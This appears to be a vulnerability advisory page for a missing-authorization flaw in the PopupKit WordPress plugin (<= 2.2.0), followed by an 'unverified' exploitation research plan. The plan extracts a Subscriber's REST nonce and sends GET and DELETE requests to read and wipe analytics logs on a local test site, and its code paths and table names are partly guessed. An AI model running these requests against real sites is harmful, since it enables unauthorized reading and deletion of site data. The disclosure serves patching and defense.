CVE-2025-14895

PopupKit <= 2.2.0 - Missing Authorization to Sensitive Information Disclosure and Data Deletion

mediumMissing Authorization
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
2.2.1
Patched in
1d
Time to patch

Description

The PopupKit plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.2.0. This is due to the plugin not properly verifying that a user is authorized to access the /popup/logs REST API endpoint. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read and delete analytics data including device types, browser information, countries, referrer URLs, and campaign metrics.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.0
PublishedFebruary 9, 2026
Last updatedFebruary 10, 2026
Affected pluginpopup-builder-block

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2025-14895**, a missing authorization vulnerability in the **PopupKit** plugin (<= 2.2.0). --- ### 1. Vulnerability Summary The PopupKit plugin registers a REST API endpoint `/popup/logs` designed to manage analytics data. The vulnerability arises beca…

Show full research plan

This exploitation research plan targets CVE-2025-14895, a missing authorization vulnerability in the PopupKit plugin (<= 2.2.0).


1. Vulnerability Summary

The PopupKit plugin registers a REST API endpoint /popup/logs designed to manage analytics data. The vulnerability arises because the plugin fails to implement a restrictive permission_callback for this endpoint. While the endpoint is intended for administrative use (reading and deleting campaign metrics), it only checks if the user is authenticated, allowing any user with Subscriber-level permissions or above to access and manipulate sensitive analytics data.

2. Attack Vector Analysis

  • REST Namespace/Route: popup/v1/popup/logs (inferred based on plugin slug and description).
  • Vulnerable Methods:
    • GET: To retrieve analytics data (Information Disclosure).
    • DELETE: To remove analytics data (Data Deletion).
  • Required Role: Any authenticated user (Subscriber level).
  • Authentication Mechanism: WordPress REST API uses the X-WP-Nonce header for authenticated requests from the browser or scripts.
  • Target Data: Device types, browser information, countries, referrer URLs, and campaign metrics stored in the plugin's custom logging tables.

3. Code Flow (Inferred)

  1. Registration: The plugin uses the rest_api_init hook to register routes.
  2. Endpoint Definition: Inside a class (likely PopupKit_Rest_Controller or similar), register_rest_route is called:
    register_rest_route( 'popup/v1', '/popup/logs', [
        [
            'methods'             => 'GET',
            'callback'            => [ $this, 'get_logs' ],
            'permission_callback' => [ $this, 'check_permission' ], // VULNERABLE: Returns true for Subscribers
        ],
        [
            'methods'             => 'DELETE',
            'callback'            => [ $this, 'delete_logs' ],
            'permission_callback' => [ $this, 'check_permission' ], // VULNERABLE: Returns true for Subscribers
        ],
    ]);
    
  3. Vulnerable Callback: The check_permission function likely uses current_user_can( 'read' ) or simply checks is_user_logged_in(), instead of manage_options.
  4. Data Sink: The get_logs and delete_logs functions interact directly with the database (likely a table named wp_popup_logs or wp_popupkit_logs) without further role verification.

4. Nonce Acquisition Strategy

To interact with the REST API as a Subscriber, we must obtain a valid wp_rest nonce.

  1. Mechanism: WordPress automatically localizes the REST nonce for logged-in users in the admin dashboard.
  2. Extraction Steps:
    • Log in to the WordPress site as a Subscriber.
    • Navigate to the Subscriber's profile page (/wp-admin/profile.php).
    • Use browser_eval to extract the nonce from the global wpApiSettings object.
  3. JavaScript:
    window.wpApiSettings.nonce
    

5. Exploitation Strategy

Part 1: Information Disclosure (GET)

  • Request Tool: http_request
  • Method: GET
  • URL: http://localhost:8080/wp-json/popup/v1/popup/logs
  • Headers:
    • X-WP-Nonce: [Extracted Nonce]
    • Cookie: [Subscriber Session Cookies]
  • Expected Response: A JSON array containing log entries with keys like browser, device, country, referrer, etc.

Part 2: Data Deletion (DELETE)

  • Request Tool: http_request
  • Method: DELETE
  • URL: http://localhost:8080/wp-json/popup/v1/popup/logs
  • Headers:
    • X-WP-Nonce: [Extracted Nonce]
    • Cookie: [Subscriber Session Cookies]
  • Parameters (if required): The endpoint might accept an id parameter or a clear_all=true flag. (If DELETE on the base route doesn't work, try .../popup/logs?id=1).
  • Expected Response: A success message (e.g., {"success": true} or 200 OK).

6. Test Data Setup

  1. Install Plugin: Ensure popup-builder-block version 2.2.0 is active.
  2. Generate Logs:
    • Create a simple popup using the plugin.
    • View the popup on the frontend in an incognito window or via browser_navigate to generate analytics entries.
  3. Create Attacker:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  4. Verify Data Exists:
    • wp db query "SELECT COUNT(*) FROM wp_popupkit_logs;" (Verify the table name first using wp db tables).

7. Expected Results

  • Information Disclosure: The GET request returns a 200 OK with sensitive visitor data that should only be visible to administrators.
  • Data Deletion: The DELETE request returns a 200 OK, and a subsequent check of the database confirms the log table is empty or the specific log entry is gone.

8. Verification Steps

  1. Check Database Count Before:
    wp db query "SELECT COUNT(*) FROM wp_popupkit_logs;"
  2. Execute DELETE Exploit.
  3. Check Database Count After:
    wp db query "SELECT COUNT(*) FROM wp_popupkit_logs;"
  4. Successful Outcome: The count should be 0 (or reduced), confirming the unauthorized deletion.

9. Alternative Approaches

  • ID-Specific Deletion: If the base DELETE route is not registered, the plugin might use DELETE /popup/logs/(?P<id>\d+). Attempt to fuzz the ID.
  • Query Parameters: Check if the GET request accepts parameters like ?limit=100 or ?campaign_id=1 to filter data disclosure.
  • Namespace Check: If popup/v1 returns 404, search the plugin source for register_rest_route to find the exact namespace used in version 2.2.0. (Search pattern: grep -r "register_rest_route" .).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.